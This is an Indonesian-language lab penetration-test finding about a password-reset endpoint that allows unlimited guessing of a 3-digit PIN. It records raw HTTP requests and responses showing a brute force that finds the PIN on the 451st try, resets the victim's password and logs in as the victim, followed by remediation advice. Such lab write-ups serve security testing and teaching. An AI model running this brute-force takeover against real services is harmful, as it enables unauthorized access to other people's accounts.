Kembali ke indeks

LAB FAIL

Unrestricted Resource Consumption - Password Reset - PIN Rate Limiting

Unrestricted Resource Consumption — Password Reset — PIN Rate Limiting

CWE-307: Improper Restriction of Excessive Authentication Attempts · OWASP A07:2021 - Identification and Authentication Failures

Kerentanan

[FAIL] Unrestricted Resource Consumption - Password Reset - PIN Rate Limiting

Deskripsi

Endpoint reset password tidak menerapkan rate limiting, penguncian akun, maupun pembatasan jumlah percobaan PIN. PIN pemulihan hanya terdiri dari 3 digit sehingga ruang tebakan hanya 1000 kemungkinan dan dapat dihabiskan dalam hitungan detik.

Dampak

Confidentiality + Integrity (High): pengambilalihan akun tanpa perlu membocorkan PIN terlebih dahulu. Penyerang yang hanya mengetahui username dapat memicu permintaan reset lalu menebak seluruh ruang PIN. Pada pengujian, PIN korban ditemukan pada percobaan ke-451 dan password korban berhasil diganti, dilanjutkan login sebagai korban. Serangan ini berlaku pada endpoint v2 dan v3 yang tidak membocorkan PIN, sehingga tetap efektif meski kebocoran PIN pada v1 diperbaiki.

CWE

CWE-307: Improper Restriction of Excessive Authentication Attempts

OWASP

A07:2021 - Identification and Authentication Failures

Skenario

Normal: permintaan reset diajukan melalui /api/v2/forgot-password, PIN tidak dibocorkan pada respons. Kontrol: satu PIN salah ditolak dengan pesan Invalid reset PIN. Eksploitasi: percobaan berturut-turut dikirim tanpa jeda dan seluruhnya dilayani dengan HTTP 400 tanpa satu pun HTTP 429, penguncian, atau perlambatan. Dampak: PIN yang benar ditemukan, password korban diganti, dan login sebagai korban berhasil.

Endpoint

POST http://127.0.0.1:5001/api/v2/forgot-password POST http://127.0.0.1:5001/api/v2/reset-password

Fitur terdampak

Pemulihan password (verifikasi PIN)

Rekomendasi perbaikan

- Terapkan rate limiting per akun dan per alamat IP, serta penguncian sementara setelah beberapa percobaan PIN yang gagal. - Ganti PIN 3 digit dengan token acak minimal 128 bit yang sekali pakai dan berumur pendek. - Batalkan token pemulihan setelah sejumlah kecil percobaan gagal dan haruskan permintaan reset baru. - Kirim notifikasi ke pemilik akun pada setiap permintaan dan keberhasilan reset.

Bukti konsep

  1. (Screenshot 1) NORMAL: permintaan reset via /api/v2/forgot-password -> PIN tidak dibocorkan pada respons.
  2. (Screenshot 2) KONTROL: satu PIN salah (000) -> ditolak dengan Invalid reset PIN.
  3. (Screenshot 3) EKSPLOITASI: percobaan PIN berturut-turut tanpa jeda -> seluruhnya dilayani HTTP 400, tidak ada HTTP 429, penguncian, maupun perlambatan.
  4. (Screenshot 4) EKSPLOITASI: PIN yang benar ditemukan pada percobaan ke-451 -> reset_success true, password korban diganti.
  5. (Screenshot 5) DAMPAK CIA: login sebagai pentest_victim dengan password hasil brute force -> token terbit, akun korban diambil alih.

Rekaman lengkap

LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.

HTTP request
POST /api/v2/forgot-password HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 30
Content-Type: application/json

{"username": "pentest_victim"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 187
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:12:46 GMT

{
  "debug_info": {
    "timestamp": "2026-09-30 03:12:46.701456",
    "username": "pentest_victim"
  },
  "message": "Reset PIN has been sent to your email.",
  "status": "success"
}
Tangkapan layar
HTTP request
POST /api/v2/reset-password HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 82
Content-Type: application/json

{"username": "pentest_victim", "reset_pin": "000", "new_password": "BruteForced1"}
HTTP response
HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 59
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:12:48 GMT

{
  "message": "Invalid reset PIN",
  "status": "error"
}
Tangkapan layar

Uji rate limit PIN reset kata sandi

  1. Consecutive PIN attempts attempt 1 -> HTTP 400 attempt 2 -> HTTP 400 attempt 3 -> HTTP 400 attempt 4 -> HTTP 400 attempt 5 -> HTTP 400 attempt 6 -> HTTP 400 attempt 7 -> HTTP 400 attempt 8 -> HTTP 400 attempt 9 -> HTTP 400 attempt 10 -> HTTP 400
Tangkapan layar
HTTP request
POST /api/v2/reset-password HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 82
Content-Type: application/json

{"username": "pentest_victim", "reset_pin": "450", "new_password": "BruteForced1"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 80
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:12:51 GMT

{
  "message": "Password has been reset successfully",
  "status": "success"
}
Tangkapan layar
HTTP request
POST /login HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 58
Content-Type: application/json

{"username": "pentest_victim", "password": "[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 498
Set-Cookie: token=[REDACTED-LAB-TOKEN]; HttpOnly; Path=/
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:12:53 GMT

{
  "accountNumber": "9159912486",
  "debug_info": {
    "account_number": "9159912486",
    "is_admin": false,
    "login_time": "2026-09-30 03:12:53.293519",
    "user_id": 3,
    "username": "pentest_victim"
  },
  "isAdmin": false,
  "message": "Login successful",
  "status": "success",
  "token": "[REDACTED-LAB-VALUE]"
}
Tangkapan layar

← Kasus sebelumnya: Unrestricted Resource Consumption - Authentication - Login Rate Limiting